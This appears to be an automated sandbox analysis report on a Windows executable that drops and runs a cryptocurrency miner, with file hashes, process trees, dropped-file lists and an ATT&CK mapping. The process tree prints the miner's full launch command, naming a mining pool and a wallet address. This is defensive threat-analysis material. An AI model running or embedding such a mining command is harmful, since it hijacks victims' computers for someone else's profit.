73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 15:03

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2964	b2e.exe
1596	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2864-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2964 wrote to memory of 4644	2964	b2e.exe	77
PID 2964 wrote to memory of 4644	2964	b2e.exe	77
PID 2964 wrote to memory of 4644	2964	b2e.exe	77
PID 4644 wrote to memory of 1596	4644	cmd.exe	79
PID 4644 wrote to memory of 1596	4644	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Users\Admin\AppData\Local\Temp\9990.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9990.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9990.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9B65.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9990.tmp\b2e.exe

Filesize
6.5MB

MD5
cd42c2caca3693a91c44e095979326ca

SHA1
912e219c5e0e6dbd19ca24caf5cf73b3f2e4e447

SHA256
dfb3455364830bc10c93c178703a0f31de5036412e2548fa8cb7e518479e2425

SHA512
82282f29d0d16bf449c375d1eaf282e53b9a0475dbb362054aee558dbf026f32f01ed9992208c8c07dd4db7a3bba26c8032fdab291265aa5a51432247c9c37bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\9990.tmp\b2e.exe

Filesize
4.0MB

MD5
cfe5311737d5f11850cceda72d54289f

SHA1
6423e802984489c6bd72be10ef920a0d5eb971e2

SHA256
10d624cd548190ea2efd9c547ece5fa9f2467f9cdca833fd308a2c19865bcffc

SHA512
3b6732c3c3d62d2647e40e7e1343e572d9e720fa973f2aa9ff308019261a1efb1cfa31540c3f67f9b3b29148af2ddc73eea1afe8018ffa2c4258ebc4f2dad8fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B65.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
11af3697d2585034c04d5bfe8719264f

SHA1
0cf38c08a25f988aed1bcc0d7db0ad952c2f3f01

SHA256
a61cd4a83b58d62ce9357f09a903b30a15f2f34dbf72a777d5eaffb2268bd5ea

SHA512
4cfb4e2591e9d51b786b10301c53a1df296781ece6d7c12546d6a33b0a024c59431e1d24cce75b3d23cabea1dd263058c933defee0a76b61f44568dc37e982b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
bf65c50e50d9c6da6d0f6e8c0f8dfe35

SHA1
257e9efa46bd39862f26ea08d03422e4a7a5c681

SHA256
48bb4a469d64502a5b7d1ac32668eb4a0b3cc1a4dd9cf8adb040adaa69097b7a

SHA512
bf526ea50288ee43e4a222cbdc42eb5b6c79c423ddc27194b5073ccd497a1c680bb7bdb0091b836d6bc50b1b8bb918cebf484c408768632718458206c3108911

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
ff7850d631470d89f857e2ba828493d4

SHA1
d7ddcd216c0d820d84b288e8bc126d47cdf625b1

SHA256
1e15ae5255014608fa04613debad14db7c34472d4dcbf05037f4ceba77be649b

SHA512
2ed5380f96d8e98c4b3e6ab3ebb81f5033a58026950d43cfb8370983a270b8f1c2140d66bf5ba76649cbb4563d753e54c8808b483a71c6f6ebb59e7de7b41ac6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
b84dedd6c254f2c8f8d7b3b99982d5a9

SHA1
2dd7c0bf446dd643b767e7114c84c043712c4fa0

SHA256
6b46bdf36ca702a945f1e6cc682fdf2a4faff5942104a86e7fc483686f55301c

SHA512
56de693fc26b155c7188b11bc6eecd23bffdca93b1c09ab854d9555d6633c7ae342f2d5d6af9be6c3711fb0d4fd7ac8fadaff35c52790c64c7486a4ea1bdd8d9

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
0d15eba0518eb8bbbac7c7c97fb41f6f

SHA1
7662445402599271e113a8eb10a7311aaf0b4c90

SHA256
2db1fde7febca2eade6b2a402d59a590f3abd4f0feb46661608d4c2773becd81

SHA512
7e3ac2b1045c2d76292e9d21cd5b7e6ab93180b7ac7ac4d951f5faf5bb4eac08db7a8aa0d74817aca311e8c64e40886f1c48979cfe14d088bb31f2316f4fadbd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
3f1d6e443334b0138c9f59b7b12b650d

SHA1
b38dbf5edb8c5a0ed1dc828be246e73c687536d5

SHA256
b5d5accea7cb76252fc958510f94ef630013ae70d4fab05503db2669be0b7514

SHA512
3b758d209129f8392bc61e23297aa764ceb277c108b36aa101ec1bef5f0eeabc2898bbfa00a2019addb136d9062c5a6051787b329f41d441e53354738b48a27b

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1596-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1596-43-0x000000006F6F0000-0x000000006F788000-memory.dmp

Filesize
608KB

Download
memory/1596-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1596-44-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/1596-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2864-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2964-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2964-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download